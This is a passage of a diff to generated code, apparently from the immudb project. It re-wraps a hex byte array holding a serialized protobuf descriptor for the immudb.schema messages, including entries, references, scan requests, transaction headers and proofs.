0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x1a, 0x49, 0x0a, 0x21, 0x4b, - 0x65, 0x79, 0x4e, 0x6f, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x41, 0x66, 0x74, - 0x65, 0x72, 0x54, 0x58, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x04, 0x74, 0x78, 0x49, 0x44, 0x42, 0x0e, 0x0a, 0x0c, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x69, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, - 0x61, 0x22, 0xea, 0x01, 0x0a, 0x05, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, - 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x3c, 0x0a, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x64, 0x42, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x44, 0x42, 0x0e, 0x0a, 0x0c, 0x70, 0x72, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x69, 0x0a, 0x08, 0x4b, 0x65, 0x79, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x22, 0xea, 0x01, 0x0a, 0x05, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, + 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3c, 0x0a, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x64, 0x42, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, + 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x64, 0x42, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x65, + 0x78, 0x70, 0x69, 0x72, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x78, + 0x70, 0x69, 0x72, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x94, 0x01, 0x0a, 0x09, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x1a, 0x0a, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa3, 0x01, 0x0a, 0x02, 0x4f, 0x70, 0x12, + 0x29, 0x0a, 0x02, 0x6b, 0x76, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x02, 0x6b, 0x76, 0x12, 0x30, 0x0a, 0x04, 0x7a, 0x41, + 0x64, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x12, 0x33, 0x0a, 0x03, + 0x72, 0x65, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x42, - 0x79, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x65, 0x78, 0x70, 0x69, - 0x72, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x65, 0x78, 0x70, 0x69, 0x72, - 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x94, - 0x01, 0x0a, 0x09, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x0e, 0x0a, 0x02, - 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, - 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, - 0x54, 0x78, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, - 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa3, 0x01, 0x0a, 0x02, 0x4f, 0x70, 0x12, 0x29, 0x0a, 0x02, - 0x6b, 0x76, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x48, 0x00, 0x52, 0x02, 0x6b, 0x76, 0x12, 0x30, 0x0a, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x48, 0x00, 0x52, 0x04, 0x7a, 0x41, 0x64, 0x64, 0x12, 0x33, 0x0a, 0x03, 0x72, 0x65, 0x66, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x48, 0x00, 0x52, 0x03, 0x72, 0x65, 0x66, 0x42, 0x0b, - 0x0a, 0x09, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x9e, 0x01, 0x0a, 0x0e, - 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x31, - 0x0a, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x52, 0x0a, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, - 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x39, 0x0a, 0x07, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, - 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x82, 0x01, 0x0a, 0x06, 0x5a, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x03, 0x73, 0x65, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x22, 0x3b, 0x0a, 0x08, - 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x95, 0x02, 0x0a, 0x0b, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, - 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, - 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x06, 0x65, 0x6e, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x70, 0x72, 0x65, - 0x66, 0x69, 0x78, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x18, 0x0a, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, - 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, - 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, - 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, - 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x76, 0x65, 0x45, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x45, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, - 0x73, 0x65, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, - 0x74, 0x22, 0x23, 0x0a, 0x09, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x12, 0x16, - 0x0a, 0x06, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, - 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x22, 0x22, 0x0a, 0x0a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, - 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x47, 0x0a, 0x09, 0x53, 0x69, - 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x70, 0x75, 0x62, 0x6c, 0x69, - 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x70, 0x75, 0x62, 0x6c, - 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, - 0x75, 0x72, 0x65, 0x22, 0xf1, 0x01, 0x0a, 0x08, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x69, 0x64, - 0x12, 0x18, 0x0a, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x70, 0x72, 0x65, 0x76, 0x41, 0x6c, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x73, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x74, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x6e, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x6e, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x65, 0x48, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x02, 0x65, 0x48, 0x12, 0x16, 0x0a, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x62, 0x6c, 0x54, 0x78, 0x49, 0x64, 0x12, 0x16, - 0x0a, 0x06, 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, - 0x62, 0x6c, 0x52, 0x6f, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x48, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x14, 0x0a, 0x05, 0x65, - 0x78, 0x74, 0x72, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x65, 0x78, 0x74, 0x72, - 0x61, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, - 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, - 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, - 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, - 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, - 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, - 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 